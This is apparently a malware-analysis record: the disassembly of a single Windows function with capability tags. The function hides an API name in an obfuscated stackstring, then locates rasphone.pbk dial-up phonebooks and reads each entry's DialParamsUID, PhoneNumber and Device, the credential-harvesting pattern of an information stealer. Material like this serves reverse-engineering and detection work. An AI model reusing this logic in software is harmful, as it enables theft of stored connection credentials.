Function at 0x40454c
Capabilities:
Check os version
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7dc
and byte [ebp - 0xd], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x24]
push edi
push eax
mov edi, ecx
push str.SHELL32.dll
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x48
mov byte [ebp - 0x22], 0x47
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x53
mov byte [ebp - 0x1e], 0x70
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x63
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0x46
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x64
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x50
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x41
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x1d4]
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea eax, [ebp - 0x1d4]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x1d4]
pop ecx
push dword [edi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
nop
nop
nop
nop
nop
lea eax, [ebp - 0x1d4]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea eax, [ebp - 0x2dc]
push 0x23
push eax
push 0
call dword [ebp - 0x2c]
nop
nop
nop
nop
nop
push str.wsprintfA
push str.USER32.dll
call esi
push eax
call ebx
lea ecx, [ebp - 0x2dc]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
lea ecx, [ebp - 0x2dc]
push str._s_s
push ecx
call eax
lea eax, [ebp - 0x1d4]
add esp, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x2dc]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0xcc]
push eax
mov dword [ebp - 0xcc], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
nop
nop
nop
nop
nop
push 2
pop esi
cmp dword [ebp - 0xbc], esi
jne 0x4046b9
cmp dword [ebp - 0xc8], 5
jb 0x4046b9
mov ecx, edi
call fcn.0040448e
mov ebx, 0x1000
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x2c], esi
pop ecx
mov dword [ebp - 0xc], eax
mov esi, 0x100
jmp 0x4046dd
mov ebx, 0x1000
push ebx
push 0
push dword [ebp - 0x28]
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0xc]
add esp, 0xc
push dword [eax]
push ebx
mov ebx, dword [ebp - 0x28]
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov eax, ebx
cmp byte [eax], 0
je 0x4048c6
push ebx
mov ecx, edi
call fcn.00404add
mov dword [ebp - 0x30], eax
push esi
lea eax, [ebp - 0x3dc]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x7dc]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x4dc]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x6dc]
push 0
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x5dc]
push 0
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0xc]
add esp, 0x3c
push dword [eax]
lea eax, [ebp - 0x3dc]
push esi
push eax
push 0
push str.DialParamsUID
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
nop
nop
nop
nop
nop
xor ecx, ecx
cmp eax, ecx
jle 0x40481a
cmp dword [edi + 0x10], ecx
mov dword [ebp - 8], ecx
jle 0x40481a
mov dword [ebp - 4], ecx
nop
nop
nop
nop
nop
mov eax, dword [ebp - 4]
add eax, dword [edi + 0x1c]
push eax
lea eax, [ebp - 0x3dc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x4047c9
inc dword [ebp - 8]
add dword [ebp - 4], 0x301
mov eax, dword [ebp - 8]
cmp eax, dword [edi + 0x10]
jl 0x404798
jmp 0x40481a
mov eax, dword [ebp - 8]
mov ecx, dword [edi + 0x1c]
imul eax, eax, 0x301
mov dword [ebp - 4], eax
lea eax, [eax + ecx + 0x200]
push eax
lea eax, [ebp - 0x7dc]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [edi + 0x1c]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax + 0x100]
push eax
lea eax, [ebp - 0x4dc]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [edi + 0x1c]
mov ecx, dword [ebp - 4]
add esp, 0x10
mov byte [ecx + eax + 0x300], 1
inc dword [edi + 8]
mov eax, dword [ebp - 0xc]
push dword [eax]
lea eax, [ebp - 0x6dc]
push esi
push eax
push 0
push str.PhoneNumber
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [ebp - 0xc]
push dword [eax]
lea eax, [ebp - 0x5dc]
push esi
push eax
push 0
push str.Device
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x5dc]
mov ecx, edi
push eax
call fcn.00404add
mov dword [ebp - 4], eax
lea eax, [ebp - 0x7dc]
push eax
mov ecx, edi
call fcn.00404add
push dword [ebp - 4]
lea ecx, [ebp - 0x6dc]
mov dword [ebp - 8], eax
push ecx
lea ecx, [ebp - 0x4dc]
push ecx
push eax
push dword [ebp - 0x30]
lea eax, [ebp - 0x3dc]
mov ecx, edi
push eax
call fcn.004048e3
push dword [ebp - 0x30]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 4]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebx + eax + 1], 0
lea ebx, [ebx + eax + 1]
jne 0x404706
add dword [ebp - 0xc], 4
dec dword [ebp - 0x2c]
jne 0x4046d8
push dword [ebp - 0x28]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
mov al, 1
pop ebx
leave
ret